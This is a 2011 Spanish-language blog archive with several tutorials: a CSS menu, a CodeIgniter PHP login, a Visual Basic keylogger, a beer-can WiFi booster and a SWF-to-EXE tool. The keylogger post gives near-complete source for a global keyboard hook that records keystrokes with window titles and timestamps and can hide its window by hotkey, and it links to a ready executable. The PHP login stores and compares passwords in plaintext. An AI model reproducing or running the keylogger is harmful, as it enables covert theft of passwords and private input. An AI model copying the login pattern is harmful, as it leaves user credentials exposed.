lunes, 22 de agosto de 2011

Crear menú con CSS y HTML
Bueno, vamos a crear un excelente menú con HTML y CSS, empecemos!

Comenzamos con el HTML:
Nos quedaría así


Básicamente lo que hicimos acá fue crear un div, darle un id llamado navlist. Dentro de este div le agregamos una lista con el texto que queremos darle a este menú.

Seguimos con el CSS:
body{
background-color:#222;
margin:0px;
padding:0px;
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
a{
text-decoration:none;
}
#navlist {
float: left;
width: 170px;
margin-top: 30px;
margin-left: 5px;
}
#navlist ul {
list-style: none;
}

#navlist li a{
display: block;
height: 25px;
width: 100px;
padding: 9px;
margin: 5px;
background: inherit;
border-right: 4px solid #444;
color: #999;
text-transform: lowercase;
font-size: 0.9em;
}

#navlist li a:hover {
color: #f4f4f4;
background: #333;
border-right: 4px solid #98cb00;
}

#navlist li .active {
color: #999;
background: #333;
border-right: 4px solid #444;
}

Bueno, acá le dimos estilos al body, un fondo y el tipo de fuente. Al navlist le dimos forma, un ancho, un alto, hover, active y varias cosas más.
Y nos quedaría algo así:



Otra manera de hacer login en php y mysql

Login en php y mysql
Crearemos un formulario de login en PHP en 4 sencillos pasos. Necesitamos crear varios archivos y carpetas primero:

Paso 1: crear el archivo php.php y guardarlo en /application/controllers/
Paso 2: crear el archivo login.php y guardarlo en /application/views/
Paso 3: crear usuarios_model.php y guardarlo en /application/models/
Paso 4: crear la tabla mysql con algunos usuarios de prueba


Paso 1: Código para el controlador "php.php":


Código :
load->helper('form');
if(!isset($_POST['maillogin'])){ // Si no recibimos ningún valor proveniente del formulario, significa que el usuario recién ingresa.
$this->load->view('login'); // Por lo tanto le presentamos la pantalla del formulario de ingreso.
}
else{ // Si el usuario ya pasó por la pantalla inicial y presionó el botón "Ingresar"
$this->form_validation->set_rules('maillogin','e-mail','required|valid_email'); // Configuramos las validaciones ayudandonos con la librería form_validation del Framework Codeigniter
$this->form_validation->set_rules('passwordlogin','password','required');
if(($this->form_validation->run()==FALSE)){ // Verificamos si el usuario superó la validación
$this->load->view('login'); // En caso que no, volvemos a presentar la pantalla de login
}
else{ // Si ambos campos fueron correctamente rellanados por el usuario,
$this->load->model('usuarios_model');
$ExisteUsuarioyPassoword=$this->usuarios_model->ValidarUsuario($_POST['maillogin'],$_POST['passwordlogin']); // comprobamos que el usuario exista en la base de datos y la password ingresada sea correcta
if($ExisteUsuarioyPassoword){ // La variable $ExisteUsuarioyPassoword recibe valor TRUE si el usuario existe y FALSE en caso que no. Este valor lo determina el modelo.
echo "Validacion Ok

Volver"; // Si el usuario ingresó datos de acceso válido, imprimos un mensaje de validación exitosa en pantalla
}
else{ // Si no logró validar
$data['error']="E-mail o password incorrecta, por favor vuelva a intentar";
$this->load->view('login',$data); // Lo regresamos a la pantalla de login y pasamos como parámetro el mensaje de error a presentar en pantalla
}
}
}
}
}
?>



Paso 2: Código para la vista "login.php":


Código :



Blogdephp.com, ¿cómo hacer un login de usuarios en php? Ver script y demo!








Demo: ¿cómo hacer un login de usuarios en php?

 

E-mail:

".$error."

";
}
echo form_error('maillogin');
?>

Contraseña:

 

 

Datos de acceso (correspondiente a un usuario ya ingresado en la base de datos)

e-mail: diego@blogdephp.com

password: blogdephp

 

 

Requerimientos

Para poder implementar este script de login, se requiere el framework de php "Codeigniter"

(esta maravillosa herramienta nos ayuda a ahorrar mucho tiempo y esfuerzo en nuestros trabajos de programación php).

 

La empresa Solo10.com, cuando contratas un paquete de hosting anual desde u$s 49.95,

te ofrece la instalación y configuración inicial del Codeigniter gratis :-)

 

Este blog y demo se encuentran alojados en los servidores de Solo10.com.

Te recomiendo el servicio de hosting que ofrece esta empresa de hablahispana!





Paso 3: Código para el modelo usuarios_model.php


Código :
db->where('Usuario',$email); // La consulta se efectúa mediante Active Record. Una manera alternativa, y en lenguaje más sencillo, de generar las consultas Sql.
$query = $this->db->where('Password',$password);
$query = $this->db->get('Usuarios');
return $query->row(); // Devolvemos al controlador la fila que coincide con la búsqueda. (FALSE en caso que no existir coincidencias)
}
}
?>



Paso 4: Consulta Mysql para crear la tabla de usuarios


Código :
CREATE TABLE `Usuarios` (
`Id` INT NOT NULL AUTO_INCREMENT ,
`Usuario` VARCHAR( 50 ) NOT NULL ,
`Password` VARCHAR( 50 ) NOT NULL ,
PRIMARY KEY ( `Id` )
) ENGINE = MYISAM ;
INSERT INTO `Usuarios` (
`Id` ,
`Usuario` ,
`Password`
)
VALUES (
NULL , 'diego@blogdephp.com', 'blogdephp'
);


Explicación del código para forms de login con usuario y contraseña en PHP


Se trata de un script que, mediante pocas líneas de código, te permite configurar un login de usuarios propio en tu página web.

Esta capacidad es sumamente importante y la necesitaremos en cualquier proyecto web que iniciemos. Puesto que seguramente existe cierta información y funciones que nos interesa ofrecer únicamente a usuarios registrados y no al resto del público.

Por ejemplo, si estamos haciendo un sistema web para un periódico, nos interesará que los periodistas puedan ingresar al sistema (mediante un usuario y password) y puedan ingresar noticias.... Por supuesto, esta función debería ser accesible únicamente por periodistas y no por un lector común.

Funcionalidades


Permitir acceso a determinada información y utilidades únicamente a determinados usuarios (aquellos que se encuentren registrados en una tabla de base de datos Mysql)
Mensaje de error cuando falta rellenar algún campo de la pantalla de acceso
Mensaje de error cuando los datos ingresados no coinciden con ningún usuario registrado en la base de datos.
Recordar los datos previamente ingresados por el usuario cuando éste no supera el login y tenemos que volver a presentarle la pantalla de acceso.


Explicación técnica


Como pueden observar, los códigos del script se encuentran con comentarios. Cada sentencia importante tiene su explicación de que función cumple. Lo que intentaremos ahora es hacer una explicación general de cómo funciona el script; como si fuera un cuento...

Comencemos con la pantalla de acceso "login.php", donde el usuario podrá ingresar sus datos (usuario y password). Recordemos que todo lo que sea interacción con el usuario (entrada y salida de datos) lo trabajamos con las vistas (capa presentación).

Lo importante aquí es la sentencia
Código :


donde creamos nuestro formulario html y especificamos que sus datos deben ser enviados y procesados por el método "login" del controlador "php". La sentencia form_open es de CodeIgniter.

Otro punto importante de la vista es cuando creamos los campos (serían las cajas de texto donde el usuario podrá ingresar los datos):
Código :

Aquí estamos creando un campo de texto llamado "maillogin". La sentencia "set_value" nos sirve para recordar los datos rellenados por el usuario en caso que su acceso no sea válido y tengamos que volver a presentarle la pantalla de acceso. Es un valor agregado para dar mejor usabilidad a los usuarios.

Luego pasemos al controlador "php.php". Esta es la parte más compleja del script, por tal motivo intenté poner comentarios a cada una de las y facilitar así su comprensión. Te recomiendo leer los comentarios directo en el código.

El controlador (php.php) hace lo que hace es tomar los datos provenientes del formulario, hacer las validaciones, consultar al modelo (usuarios_model.php) si el usuario existe en la base de datos y su password es válida. Por último, decide si el usuario corresponde que pueda acceder, o no, y comunica su decisión a la vista (login.php) para que el usuario vea la respuesta en su pantalla.

Me interesa remarcar aquí algunas sentencias y declaraciones puntuales que son muy básicas de php y te servirán en todo sistema web que desarrolles.

Código :
$_POST['maillogin']
(sirve para tomar los valores provenientes del formulario, en este caso se toma el valor del campo "maillogin"

Código :
$this->load->model('usuarios_model'); (sirve para cargar el modelo usuarios_model y poder utilizar sus recursos) this->usuarios_model->ValidarUsuario($_POST['maillogin'],$_POST['passwordlogin']);
(ejecuta el método "ValidarUsuario" de nuestro modelo "usuarios_model" y le pasa los dos parámetros. )

En el próximo artículo continuaremos mejorando este script de login. Por ejemplo, estudiaremos como hacer para que el usuario pueda acceder a muchas pantallas de información restringida sin tener que poner siempre sus datos de login (únicamente ingresarlos la primer vez).

Espero que lo disfruten, les sea útil para sus proyectos y principalmente los ayude a continuar aprendiendo

domingo, 21 de agosto de 2011

Crear un keylogger en Visual Basic


NO ME HAGO RESPONSABLE DEL USO QUE LE DEN A ESTA INFO!!
xDDD

Aclarado el punto, empecemos.
Configurando la aplicación:

Antes de empezar, creamos un formulario y le añadimos un botón y un textbox con la propiedad multilinea activada, debe quedar así:


Lo primero sera importar las funciones de las API de windows y declarar las variables globales.

Funciones que usaremos:
SetWindowsHookEx()
CallNextHookEx()
UnhookWindowsHookEx()
GetForegroundWindow()
GetWindowText()

#Region "importamos las funciones de la API de windows"
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal IdHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadID As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32

Private Delegate Function KeyboardHookDelegate(ByVal code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

La función KeyboardHookDelegate() Se comporta como un tipo de puntero a una función de que será llamada cuando se genera un evento.


Ahora procederemos a declarar constantes, estructuras y enumeraciones

Private Const WM_KEYUP As Integer = &H101
Private Const WM_KEYDOWN As Short = &H100S
Private Const WM_SYSKEYDOWN As Integer = &H104
Private Const WM_SYSKEYUP As Integer = &H105

Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scanCode As Integer
Public flags As Integer
Public time As Integer
Public dwExtrainfo As Integer
End Structure

#Region "Teclas"
Enum VirtualKey


K_Return = &HD
K_Backspace = &H8
K_Space = &H20
K_Tab = &H9
K_Esc = &H1B

K_Control = &H11
K_LControl = &HA2
K_RControl = &HA3

K_Delete = &H2E
K_End = &H23
K_Home = &H24
K_Insert = &H2D

K_Shift = &H10
K_LShift = &HA0
K_RShift = &HA1

K_Pause = &H13
K_PrintScreen = 44

K_LWin = &H5B
K_RWin = &H5C

K_Alt = &H12
K_LAlt = &HA4
K_RAlt = &HA5

K_NumLock = &H90
K_CapsLock = &H14
'Flechas
K_Up = &H26
K_Down = &H28
K_Right = &H27
K_Left = &H25


K_F1 = &H70
K_F2 = &H71
K_F3 = &H72
K_F4 = &H73
K_F5 = &H74
K_F6 = &H75
K_F7 = &H76
K_F8 = &H77
K_F9 = &H78
K_F10 = &H79
K_F11 = &H7A
K_F12 = &H7B
K_F13 = &H7C
K_F14 = &H7D
K_F15 = &H7E
K_F16 = &H7F
K_F17 = &H80
K_F18 = &H81
K_F19 = &H82
K_F20 = &H83
K_F21 = &H84
K_F22 = &H85
K_F23 = &H86
K_F24 = &H87


K_Numpad0 = &H60
K_Numpad1 = &H61
K_Numpad2 = &H62
K_Numpad3 = &H63
K_Numpad4 = &H64
K_Numpad5 = &H65
K_Numpad6 = &H66
K_Numpad7 = &H67
K_Numpad8 = &H68
K_Numpad9 = &H69

K_Num_Add = &H6B
K_Num_Divide = &H6F
K_Num_Multiply = &H6A
K_Num_Subtract = &H6D
K_Num_Decimal = &H6E

'Caracteres y Números
K_0 = &H30
K_1 = &H31
K_2 = &H32
K_3 = &H33
K_4 = &H34
K_5 = &H35
K_6 = &H36
K_7 = &H37
K_8 = &H38
K_9 = &H39
K_A = &H41
K_B = &H42
K_C = &H43
K_D = &H44
K_E = &H45
K_F = &H46
K_G = &H47
K_H = &H48
K_I = &H49
K_J = &H4A
K_K = &H4B
K_L = &H4C
K_M = &H4D
K_N = &H4E
K_O = &H4F
K_P = &H50
K_Q = &H51
K_R = &H52
K_S = &H53
K_T = &H54
K_U = &H55
K_V = &H56
K_W = &H57
K_X = &H58
K_Y = &H59
K_Z = &H5A


K_Subtract = 189
K_Decimal = 190

End Enum
#End Region

Las Constantes: WM_KEYUP, WM_KEYDOWN, WM_SYSUP, WM_SYSDOWN, especifican el tipo de evento de teclado que se ha generado.


La Estructura KBDLLHOOKSTRUCT es una estructura especial que contiene información acerca de la tecla presionada.


El Enum Virtual key es una enumeración de todas las teclas para su fácil acceso.


Las variables Globales

Private KeyboardHandle As IntPtr = 0
Private LastCheckedForegroundTitle As String = ""
Private callback As KeyboardHookDelegate = Nothing
Private KeyLog As String

-LastCheckedForegroundTitle: Aquí se almacenará el titulo de la ventana de donde obtenemos las pulsaciones.
-KeyLog: variable de cadena donde se almacenará todo lo obtenido hasta el momento, que debería ser guardado en un archivo de texto.
-callback: puntero a la función que recibirá el evento.


***********************

Creando el "Gancho"

comenzaremos agregando esta función:
Public Sub EngancharTeclado()
callback = New KeyboardHookDelegate(AddressOf KeyboardCallBack)
KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
End Sub
Como podemos ver, la función SetWindowsHookEx usa 4 parametros: el primero indica el tipo de gancho a crear (13 para un gancho de teclado de bajo nivel); el segundo parámetro indica el delegado de la función que va a ser llamada cuando se genera un evento; el tercero indica la dirección del modulo al cual se enviaran los eventos, así el sistema operativo sabe a cual aplicación enviar los eventos, el cuarto parámetro indica si el gancho es global(0) o si esta asociado con algún proceso(la dirección del proceso).


Añadimos también una función para saber si el teclado está enganchado o no:
Private Function Hooked()
Return KeyboardHandle <> 0
End Function

Manejando el evento de teclado
Ahora viene la parte interesante, crearemos la función que añadira las pulsaciones al textbox:
Private Function KeyboardCallBack(ByVal code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
'Obtenemos el titulo
Dim TituloVentana = GetActiveWindowTitle()


If TituloVentana <> LastCheckedForegroundTitle Then
LastCheckedForegroundTitle = TituloVentana
'La ventana en la que se genero el evento y la fecha y hora
KeyLog &= vbCrLf & "----------- " & TituloVentana & " (" & Now.ToString() & ") ------------" & vbCrLf
End If

'Variable que contendrá la tecla presonada
Dim Tecla As String = ""

If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then


If code >= 0 Then
'Si se presiona Ctrl + alt + S
If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = VirtualKey.K_S Then
Me.Visible = Not Me.Visible 'Ocultamos o mostramos el formulari
Return 1
End If
End If

'Convertir la tecla presionada en un caracter
Select Case lParam.vkCode
Case VirtualKey.K_0 To VirtualKey.K_9
Tecla = ChrW(lParam.vkCode)
Case VirtualKey.K_A To VirtualKey.K_Z
Tecla = ChrW(lParam.vkCode + 32)
End Select
End If

'Añadir la tecla a la variable y de la variable al Textbox
KeyLog &= Tecla
TextBox1.AppendText(KeyLog)
Return CallNextHookEx(KeyboardHandle, code, wParam, lParam)

End Function

Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)

Return MyStr

End Function


Desenganchando
Cuando no queramos que se registren las pulsaciones, tendremos esta función:
Public Sub Desenganchar()
If (Hooked()) Then
If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
KeyboardHandle = 0
End If
End If
End Sub

podríamos crear un botón, y en el código de ese botón añadir el codigo: Desenganchar() y eso hará que se detenga el keylogger.
Por último hacemos doble click en el botón que habiamos creado al principio y le damos doble click, luego le añadimos el siguiente código:

EngancharTeclado()

Bueno.. si quieren ver como funca..

Codigo fuente y el ejecutable:

http://www.mediafire.com/?4mqqw9hrhgnn8h1

POtenciar el WIFI con una lata de cerveza

Hola gente, aca les dejo las imagenes que hablan por si solas....

1. Lavar bien la Lata


2.Quitar el "abridor" o como se llame de la lata

3.Cortar mas o menos por la linea roja..

4. Sin llegar a cortarla en su totalidad!! (dejar como 2.5 cm cerca del agujero)

5. Cortar transversalmente por el lado opuesto a donde dejamos los 2.5cm sin cortar

6. (Opcional) Echar pegaloka o algun adhesivo para que la lata no se mueva de la base de la antena del router

Debería quedar algo así

YO LO ESTOY HACIENDO AHORA!!!!







sábado, 20 de agosto de 2011

Crear .exe a partir de un .swf

Más sencillo no puede ser, empezamos este minitutorial... -.-


Flash Builder es una interesante herramienta que nos permite convertir un archivo flash en un ejecutable para Windows. Su uso es muy sencillo y el programita hace todo solo, así que es una muy buena aplicación para tener en cuenta.





El proceso consta de sólo 4 pasos:

►Elegir el archivo de entrada en SWF.
►Elegir un ícono para la aplicación (oocional)
►Elegir una pantalla spash para cuando abrimos la aplicación (opcional).
►Darle al botón Build.



Con esos 4 pasos el programa creará automáticamente el ejecutable en formato .exe para que podamos abrirlo sin ningún problema.




Aqui esta el Link de descarga!

http://thesz.diecru.eu/data/get.php?file=FlashBuilderSetup.zip